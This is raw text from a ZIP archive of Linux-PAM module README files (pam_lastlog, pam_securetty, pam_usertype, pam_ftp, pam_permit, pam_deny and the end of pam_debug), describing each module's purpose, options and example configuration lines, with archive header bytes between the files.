auth=perm_denied cred=success auth [default=reset] pam_debug.so auth=success cred=perm_denied auth [success=done default=die] pam_debug.so auth optional pam_debug.so auth=perm_denied cred=perm_denied auth sufficient pam_debug.so auth=success cred=success AUTHOR pam_debug was written by Andrew G. Morgan <morgan@kernel.org>. PK 9kZ��q�% % README.pam_lastlognu �[��� pam_lastlog -- PAM module to display date of last login and perform inactive account lock out -------------------------------------------------------------------------- DESCRIPTION pam_lastlog is a PAM module to display a line of information about the last login of the user. In addition, the module maintains the /var/log/lastlog file. Some applications may perform this function themselves. In such cases, this module is not necessary. If the module is called in the auth or account phase, the accounts that were not used recently enough will be disallowed to log in. The check is not performed for the root account so the root is never locked out. OPTIONS debug Print debug information. silent Don't inform the user about any previous login, just update the /var/log/lastlog file. This option does not affect display of bad login attempts. never If the /var/log/lastlog file does not contain any old entries for the user, indicate that the user has never previously logged in with a welcome message. nodate Don't display the date of the last login. noterm Don't display the terminal name on which the last login was attempted. nohost Don't indicate from which host the last login was attempted. nowtmp Don't update the wtmp entry. noupdate Don't update any file. showfailed Display number of failed login attempts and the date of the last failed attempt from btmp. The date is not displayed when nodate is specified. inactive=<days> This option is specific for the auth or account phase. It specifies the number of days after the last login of the user when the user will be locked out by the module. The default value is 90. unlimited If the fsize limit is set, this option can be used to override it, preventing failures on systems with large UID values that lead lastlog to become a huge sparse file. EXAMPLES Add the following line to /etc/pam.d/login to display the last login time of an user: session required pam_lastlog.so nowtmp To reject the user if he did not login during the previous 50 days the following line can be used: auth required pam_lastlog.so inactive=50 AUTHOR pam_lastlog was written by Andrew G. Morgan <morgan@kernel.org>. Inactive account lock out added by Tomas Mraz <tm@t8m.info>. PK 9kZ0��> > README.pam_securettynu �[��� pam_securetty — Limit root login to special devices ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_securetty is a PAM module that allows root logins only if the user is logging in on a "secure" tty, as defined by the listing in /etc/securetty. pam_securetty also checks to make sure that /etc/securetty is a plain file and not world writable. It will also allow root logins on the tty specified with console= switch on the kernel command line and on ttys from the /sys/class/tty/ console/active. This module has no effect on non-root users and requires that the application fills in the PAM_TTY item correctly. For canonical usage, should be listed as a required authentication method before any sufficient authentication methods. OPTIONS debug Print debug information. noconsole Do not automatically allow root logins on the kernel console device, as specified on the kernel command line or by the sys file, if it is not also specified in the /etc/securetty file. EXAMPLES auth required pam_securetty.so auth required pam_unix.so AUTHOR pam_securetty was written by Elliot Lee <sopwith@cuc.edu>. PK 9kZ�� &� � README.pam_usertypenu �[��� pam_usertype -- check if the authenticated user is a system or regular account -------------------------------------------------------------------------- DESCRIPTION pam_usertype.so is designed to succeed or fail authentication based on type of the account of the authenticated user. The type of the account is decided with help of SYS_UID_MAX settings in /etc/login.defs. One use is to select whether to load other modules based on this test. The module should be given only one condition as module argument. Authentication will succeed only if the condition is met. OPTIONS The following flags are supported: use_uid Evaluate conditions using the account of the user whose UID the application is running under instead of the user being authenticated. audit Log unknown users to the system log. Available conditions are: issystem Succeed if the user is a system user. isregular Succeed if the user is a regular user. EXAMPLES Skip remaining modules if the user is a system user: account sufficient pam_usertype.so issystem AUTHOR Pavel Brezina <pbrezina@redhat.com> PK 9kZւH1� � README.pam_ftpnu �[��� pam_ftp — PAM module for anonymous access module ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_ftp is a PAM module which provides a pluggable anonymous ftp mode of access. This module intercepts the user's name and password. If the name is ftp or anonymous, the user's password is broken up at the @ delimiter into a PAM_RUSER and a PAM_RHOST part; these pam-items being set accordingly. The username ( PAM_USER) is set to ftp. In this case the module succeeds. Alternatively, the module sets the PAM_AUTHTOK item with the entered password and fails. This module is not safe and easily spoofable. OPTIONS debug Print debug information. ignore Pay no attention to the email address of the user (if supplied). ftp=XXX,YYY,... Instead of ftp or anonymous, provide anonymous login to the comma separated list of users: XXX,YYY,.... Should the applicant enter one of these usernames the returned username is set to the first in the list: XXX. EXAMPLES Add the following line to /etc/pam.d/ftpd to handle ftp style anonymous login: # # ftpd; add ftp-specifics. These lines enable anonymous ftp over # standard UN*X access (the listfile entry blocks access to # users listed in /etc/ftpusers) # auth sufficient pam_ftp.so auth required pam_unix.so use_first_pass auth required pam_listfile.so \ onerr=succeed item=user sense=deny file=/etc/ftpusers AUTHOR pam_ftp was written by Andrew G. Morgan <morgan@kernel.org>. PK 9kZӦ�H� � README.pam_permitnu �[��� pam_permit — The promiscuous module ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION pam_permit is a PAM module that always permit access. It does nothing else. In the case of authentication, the user's name will be set to nobody if the application didn't set one. Many applications and PAM modules become confused if this name is unknown. This module is very dangerous. It should be used with extreme caution. OPTIONS This module does not recognise any options. EXAMPLES Add this line to your other login entries to disable account management, but continue to permit users to log in. account required pam_permit.so AUTHOR pam_permit was written by Andrew G. Morgan, <morgan@kernel.org>. PK 9kZ� README.pam_denynu �[��� pam_deny — The locking-out PAM module ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ DESCRIPTION This module can be used to deny access. It always indicates a failure to the application through the PAM framework. It might be suitable for using for default (the OTHER) entries. EXAMPLES #%PAM-1.0 # # If we don't have config entries for a service, the # OTHER entries are used. To be secure, warn and deny # access to everything. other auth required pam_warn.so other auth required pam_deny.so other account required pam_warn.so other account required pam_deny.so other password required pam_warn.so other password required pam_deny.so other session required pam_warn.so other session required pam_deny.so AUTHOR pam_deny was written by Andrew G. Morgan <morgan@kernel.org> PK 9kZ�1��&